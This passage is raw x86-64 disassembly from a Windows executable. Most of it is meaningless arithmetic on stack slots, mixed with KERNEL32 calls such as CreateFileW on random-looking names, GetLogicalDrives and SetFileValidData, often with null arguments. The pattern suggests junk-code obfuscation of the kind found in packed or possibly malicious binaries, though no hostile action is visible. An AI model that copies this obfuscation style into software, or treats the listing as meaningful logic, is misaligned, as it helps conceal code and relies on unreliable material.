movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x19f90]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a220]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x684]
add eax, ecx
mov byte [rsp + 0x1d3], al
mov rax, qword [rsp + 0x19eb0]
mov ecx, dword [rsp + 0xd388]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1402bf740]
mov dword [rcx], eax
mov rax, qword [0x1402bf5a8]
mov rcx, qword [rsp + 0x198c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xafb0], eax
movzx eax, word [rsp + 0x3684]
movzx ecx, word [rsp + 0x32a4]
imul eax, ecx
mov word [rsp + 0x180c], ax
movzx eax, byte [rsp + 0x813]
mov byte [rsp + 0x824], al
mov rax, qword [0x1402bf6c8]
mov rcx, qword [rsp + 0x19b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19cc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb0f4]
mov dword [rsp + 0xd640], eax
lea rdx, [rsp + 0x2c040]
mov rcx, qword [rsp + 0x19fe8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd644], eax
mov rax, qword [rsp + 0x19980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcc80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc10], eax
mov rax, qword [rsp + 0x1a098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5b0], eax
mov rcx, qword [rsp + 0x1a238]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd350], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov rax, qword [rsp + 0x1a1f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19dc8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cf0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.wf_thYKh3g78BiBRBeZPr0c1qA0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a320], rax
movzx eax, byte [rsp + 0x214]
mov byte [0x1402bf564], al
movzx ecx, word [rsp + 0x3718]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3790], ax
mov eax, dword [rsp + 0xcfcc]
mov ecx, dword [0x1402ad70c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb290], eax
mov eax, dword [rsp + 0xd3ec]
mov dword [rsp + 0xd648], eax
mov rax, qword [rsp + 0x1a268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0c8], eax
mov eax, dword [rsp + 0xce88]
mov ecx, dword [rsp + 0xd4a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd19c], eax
lea rax, [rsp + 0xb944]
mov qword [rsp + 0x1a328], rax
movsx eax, word [rsp + 0x36cc]
mov rcx, qword [0x1402bf6a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3704], ax
mov rax, qword [rsp + 0x19ee0]
movzx eax, byte [rax]
mov byte [rsp + 0x825], al
mov rax, qword [rsp + 0x1a1f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17fc]
shl eax, cl
mov word [rsp + 0x37f0], ax
movzx eax, byte [rsp + 0x2a1]
mov rcx, qword [0x1402bf698]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402bf6f0], al
mov rax, qword [rsp + 0x19e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xc93c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov eax, dword [rsp + 0xd5c8]
mov dword [rsp + 0xd64c], eax
movzx eax, word [rsp + 0x3898]
movzx ecx, word [rsp + 0x229c]
sar eax, cl
mov word [rsp + 0x37a0], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19d90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x48], al
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd27c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc7cc], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov dword [rsp + 0xd650], eax
mov rax, qword [rsp + 0x19ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd054]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce5c], eax
mov rax, qword [rsp + 0x19e78]
mov ecx, dword [0x1402ad6c8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd530], eax
movzx eax, byte [rsp + 0x78a]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acbf3], al
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
mov word [rsp + 0x38b4], ax
mov rax, qword [rsp + 0x19e18]
mov rcx, qword [rsp + 0x19bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf78], eax
mov rax, qword [rsp + 0x19c00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd42c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb204], eax
movsx eax, byte [rsp + 0x17f]
movsx ecx, byte [rsp + 0x817]
sub eax, ecx
mov byte [rsp + 0x820], al
movsx eax, word [0x1402ad63c]
mov rcx, qword [rsp + 0x19ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x37b0], ax
movzx eax, word [rsp + 0x2644]
mov word [rsp + 0x38b8], ax
mov rax, qword [rsp + 0x19c28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x805]
or eax, ecx
mov byte [rsp + 0x7a8], al
mov rax, qword [0x1402bf670]
mov eax, dword [rax]
mov dword [rsp + 0xd654], eax
mov rax, qword [rsp + 0x19e90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd068]
sar eax, cl
mov dword [0x1402ad79c], eax
mov eax, dword [0x1402ad6ec]
mov ecx, dword [rsp + 0xcd1c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x198a8]
mov dword [rcx], eax
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd658], eax
mov eax, dword [rsp + 0xd314]
mov rcx, qword [rsp + 0x196e0]
mov qword [rsp + 0x1a330], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a330]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd110], eax
mov rax, qword [rsp + 0x1a260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa528]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9204], eax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a0b0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x80d], al
movzx eax, word [rsp + 0x2a04]
mov word [rsp + 0x38bc], ax
mov rax, qword [rsp + 0x1a210]
mov rcx, qword [rsp + 0x199c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd4fc], eax
movzx ecx, word [rsp + 0x35c8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35d8], ax
mov rax, qword [rsp + 0x19ea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc8f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd460], eax
lea rax, [rsp + 0xb7b8]
mov qword [rsp + 0x1a338], rax
mov rax, qword [rsp + 0x19c78]
mov rcx, qword [rsp + 0x19f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad7b0], eax
movzx eax, byte [rsp + 0x7d7]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19a08]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x196d0], rax
movzx eax, word [rsp + 0x25e0]
mov word [rsp + 0x38c0], ax
movsx eax, byte [rsp + 0x7c5]
mov rcx, qword [0x1402bf5e0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7f5], al
lea rax, [rsp + 0x3710]
mov qword [rsp + 0x1a340], rax
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd188]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa668], eax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd030]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd238], eax
movzx eax, byte [rsp + 0x187]
mov rcx, qword [rsp + 0x1a170]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x395], al
movzx eax, word [rsp + 0x3664]
movzx ecx, word [rsp + 0x3618]
add eax, ecx
mov word [rsp + 0x3780], ax
mov eax, dword [rsp + 0xb520]
movzx ecx, al
mov eax, dword [rsp + 0xd5e4]
shl eax, cl
mov rcx, qword [0x1402bf760]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd0b8]
mov dword [rsp + 0xd65c], eax
mov rax, qword [rsp + 0x1a108]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd2e8]
sar eax, cl
mov rcx, qword [rsp + 0x1a050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19e50]
mov rcx, qword [rsp + 0x1a0b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd184], eax
movzx eax, word [rsp + 0x3764]
mov word [rsp + 0x38c4], ax
movzx eax, byte [rsp + 0x7f0]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3be], al
mov eax, dword [rsp + 0xd2b4]
mov ecx, dword [rsp + 0xd160]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xbd40], eax
mov rax, qword [rsp + 0x19938]
mov ecx, dword [rsp + 0xd310]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9148], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x1a348], rax
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa234]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a038]
mov eax, dword [rax]
mov dword [0x1402bf560], eax
mov rax, qword [rsp + 0x19c60]
mov eax, dword [rax]
mov dword [rsp + 0xd660], eax
movsx eax, word [rsp + 0x35e0]
movsx ecx, word [0x1402ad6e4]
add eax, ecx
mov word [rsp + 0x326c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea rcx, [rsp + 0x2afa0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, byte [rsp + 0x782]
mov byte [rsp + 0x826], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
movzx eax, word [rsp + 0x35cc]
mov rcx, qword [rsp + 0x19dc8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3658], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19ff8], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd664], eax
mov rax, qword [rsp + 0x19fd8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acbae]
add eax, ecx
mov byte [rsp + 0x632], al
mov rax, qword [rsp + 0x19e18]
mov eax, dword [rax]
mov dword [rsp + 0xd668], eax
mov rax, qword [rsp + 0x19ef8]
mov rcx, qword [rsp + 0x19c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9204], eax
lea rax, [rsp + 0x379c]
mov qword [rsp + 0x1a350], rax
lea rdx, [rsp + 0x19eb8]
mov rcx, qword [rsp + 0x19b30]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd3e4], eax
movzx eax, byte [rsp + 0x824]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acb4f], al
mov eax, dword [rsp + 0x8ac0]
mov ecx, dword [rsp + 0xca14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3c4], eax
mov eax, dword [rsp + 0xd260]
mov ecx, dword [rsp + 0xcf7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb69c], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19fb8]
mov qword [rsp + 0x1a358], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a358]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xab2c], eax
mov rax, qword [rsp + 0x19d58]
mov ecx, dword [rsp + 0xcb7c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xce80], eax
movzx eax, word [rsp + 0x38ac]
mov word [rsp + 0x38c8], ax
lea rcx, [rsp + 0x2af78]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.tp0VihQ4Zuq2tLU66GB5THAa
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a360], rax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x79a]
sar eax, cl
mov rcx, qword [rsp + 0x1a2e0]
mov byte [rcx], al
mov eax, dword [rsp + 0xd300]
mov dword [rsp + 0xd66c], eax
mov rax, qword [rsp + 0x19f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce64]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19c00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19f48]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [reloc.SHELL32.dll_ILFindChild], al
movsx eax, word [0x1402ad678]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3620], ax
movzx eax, word [rsp + 0x2104]
movzx ecx, word [rsp + 0x38ac]
sub eax, ecx
mov word [rsp + 0x1ac4], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e6]
add eax, ecx
mov byte [rsp + 0x61], al
lea rax, [rsp + 0xd328]
mov qword [rsp + 0x1a368], rax
mov rax, qword [rsp + 0x19e68]
mov rcx, qword [rsp + 0x19910]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa25c], eax
mov edx, 0x17caaa
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd3b4], eax
mov rax, qword [rsp + 0x19e90]
mov rcx, qword [rsp + 0x1a338]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd0b8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov eax, dword [rsp + 0xd054]
mov dword [rsp + 0xd670], eax
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd4d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xbd40], eax
lea rdx, [rsp + 0xce44]
mov rcx, qword [rsp + 0x1a2f8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd674], eax
mov rax, qword [rsp + 0x19ec0]
movzx eax, word [rax]
mov word [rsp + 0x38cc], ax
mov rax, qword [0x1402bf698]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402acbfe], al
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x1a168]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ec8], eax
mov rax, qword [rsp + 0x199c8]
mov rcx, qword [0x1402bf6c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb5dc], eax
mov rax, qword [rsp + 0x19980]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19a68]
mov qword [rsp + 0x1a370], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a370]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa970], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xd1e8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd460], eax
lea rax, [rsp + 0x3644]
mov qword [rsp + 0x1a378], rax
movzx eax, byte [rsp + 0x7e3]
movzx ecx, byte [rsp + 0x7ff]
shl eax, cl
mov byte [rsp + 0x80e], al
movzx eax, byte [rsp + 0x79e]
mov byte [rsp + 0x827], al
mov rax, qword [0x1402bf708]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3868]
sub eax, ecx
mov word [rsp + 0x3114], ax
mov rax, qword [rsp + 0x19e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd640]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad754], eax
mov rax, qword [0x1402bf5c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8d5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a268]
mov dword [rcx], eax
xor r9d, r9d
lea r8, [rsp + 0x197a0]
mov rdx, qword [rsp + 0x19eb8]
mov rcx, qword [rsp + 0x19ae0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xce8c], eax
movzx eax, word [rsp + 0x3804]
mov word [rsp + 0x38d0], ax
movzx eax, byte [rsp + 0x3a2]
movzx ecx, byte [rsp + 0x788]
add eax, ecx
mov rcx, qword [rsp + 0x1a1d0]
mov byte [rcx], al
mov eax, dword [rsp + 0xd048]
mov ecx, dword [rsp + 0xd40c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e60], eax
mov eax, dword [rsp + 0x892c]
mov ecx, dword [rsp + 0xcfcc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd374], eax
mov rax, qword [rsp + 0x1a178]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x93c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x1a2c8]
mov eax, dword [rax]
mov dword [rsp + 0xd678], eax
mov rax, qword [rsp + 0x1a2e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19b78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19d90]
mov byte [rcx], al
movzx eax, word [rsp + 0x1f7c]
movzx ecx, word [0x1402ad76c]
add eax, ecx
mov word [0x1402ad7b4], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd67c], eax
lea rax, [rsp + 0xa234]
mov qword [rsp + 0x1a380], rax
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc330], eax
mov eax, dword [0x1402ad730]
mov ecx, dword [rsp + 0x8f44]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfec], eax
mov rax, qword [rsp + 0x19e78]
mov eax, dword [rax]
mov dword [rsp + 0xd680], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0x19a48]
mov ecx, dword [rsp + 0xd3c8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x199c8]
mov dword [rcx], eax
mov ecx, 0xe
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd3b4], eax
mov rax, qword [rsp + 0x1a270]
movzx eax, byte [rax]
mov byte [rsp + 0x828], al
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19f90]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3850], ax
mov rax, qword [rsp + 0x1a1f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19c40]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d84], ax
movzx eax, byte [0x1402bf6b0]
movzx ecx, byte [rsp + 0x45b]
cdq
idiv ecx
mov byte [str.yR__], al
mov rax, qword [rsp + 0x1a368]
mov rcx, qword [rsp + 0x19a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd188], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x197e0], rax
mov eax, dword [0x1402ad748]
mov ecx, dword [rsp + 0xd118]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd298], eax
movzx eax, byte [rsp + 0x811]
mov byte [rsp + 0x829], al
mov rax, qword [rsp + 0x1a010]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3780]
imul eax, ecx
mov word [rsp + 0x35fc], ax
mov eax, dword [rsp + 0xb2a8]
mov dword [rsp + 0xd684], eax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov ecx, dword [0x1402ad758]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd64c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.YqPFRlrxKE9bZB2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a388], rax
mov eax, dword [rsp + 0xd3b0]
mov ecx, dword [rsp + 0xa4fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd290], eax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd2e0], eax
mov eax, dword [rsp + 0xb984]
mov ecx, dword [rsp + 0xd4d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa730], eax
mov rax, qword [rsp + 0x1a318]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19fe0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad7b8], ax
movzx eax, byte [rsp + 0x7bf]
mov rcx, qword [0x1402bf698]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7e0], al
mov eax, dword [rsp + 0xd25c]
mov dword [rsp + 0xd688], eax
mov rax, qword [rsp + 0x19f10]
mov ecx, dword [rsp + 0xceb4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1a0e8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x502]
movsx ecx, byte [reloc.SHELL32.dll_ILFindChild]
add eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x19890]
movzx eax, word [rax]
mov word [rsp + 0x38d4], ax
mov rax, qword [rsp + 0x1a318]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x35f8], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf698]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1fb], al
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcefc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0dc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov eax, dword [rsp + 0xd3c8]
mov dword [0x1402bf55c], eax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov dword [rsp + 0xd68c], eax
mov rax, qword [rsp + 0x19f88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19b08]
mov qword [rsp + 0x1a390], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a390]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd328], eax
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd208]
sar eax, cl
mov dword [rsp + 0xd294], eax
movzx eax, byte [0x1402acb7a]
mov byte [rsp + 0x82a], al
mov rcx, qword [rsp + 0x19990]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1a240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3608]
or eax, ecx
mov word [rsp + 0x368c], ax
mov eax, dword [rsp + 0x8194]
mov ecx, dword [rsp + 0xa958]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8308], eax
mov eax, dword [rsp + 0xbad0]
mov ecx, dword [0x1402ad7a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd30c], eax
mov rax, qword [rsp + 0x19f60]
mov rcx, qword [rsp + 0x19fb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb4b0], eax
lea rcx, [rsp + 0x2d650]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd690], eax
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd548]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad6cc], eax
lea rax, [rsp + 0x824]
mov qword [rsp + 0x1a398], rax
movzx eax, word [rsp + 0x3640]
movzx ecx, word [rsp + 0x2d64]
sub eax, ecx
mov word [rsp + 0x1ea4], ax
mov rax, qword [rsp + 0x19800]
movzx eax, word [rax]
mov word [rsp + 0x38d8], ax
mov rax, qword [0x1402bf5e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19bb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4bc], al
mov rax, qword [rsp + 0x1a168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8100]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19910]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x196d0], rax
mov eax, dword [rsp + 0x9c10]
mov dword [rsp + 0xd694], eax
movzx eax, byte [0x1402acb3a]
movzx ecx, byte [rsp + 0x78d]
add eax, ecx
mov byte [rsp + 0x81b], al
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x370c]
add eax, ecx
mov word [rsp + 0x1b88], ax
mov eax, dword [rsp + 0xd39c]
mov ecx, dword [rsp + 0xcff4]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x1402bf670]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a1e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x97f4]
shl eax, cl
mov dword [rsp + 0xce68], eax
mov rax, qword [rsp + 0x19c00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcde0]
sar eax, cl
mov dword [rsp + 0xd5d8], eax
lea rax, [rsp + 0xcea0]
mov qword [rsp + 0x1a3a0], rax
mov rax, qword [rsp + 0x19e38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19f98]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x7d6], al
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
mov word [rsp + 0x38dc], ax
mov rax, qword [rsp + 0x19c10]
mov rcx, qword [rsp + 0x1a2c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x951c], eax
mov rax, qword [rsp + 0x19d38]
mov eax, dword [rax]
mov dword [rsp + 0xd698], eax
mov rax, qword [rsp + 0x1a150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcb7c], eax
mov rax, qword [0x1402bf628]
mov rcx, qword [rsp + 0x1a200]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad7bc], eax
mov rax, qword [rsp + 0x1a268]
mov rcx, qword [rsp + 0x198b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf64], eax
mov rax, qword [0x1402bf728]
movzx eax, word [rax]
mov word [rsp + 0x38e0], ax
mov rax, qword [rsp + 0x1a270]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19ff0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7c5], al
movzx eax, byte [rsp + 0x7fe]
mov rcx, qword [rsp + 0x19b78]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x19b50]
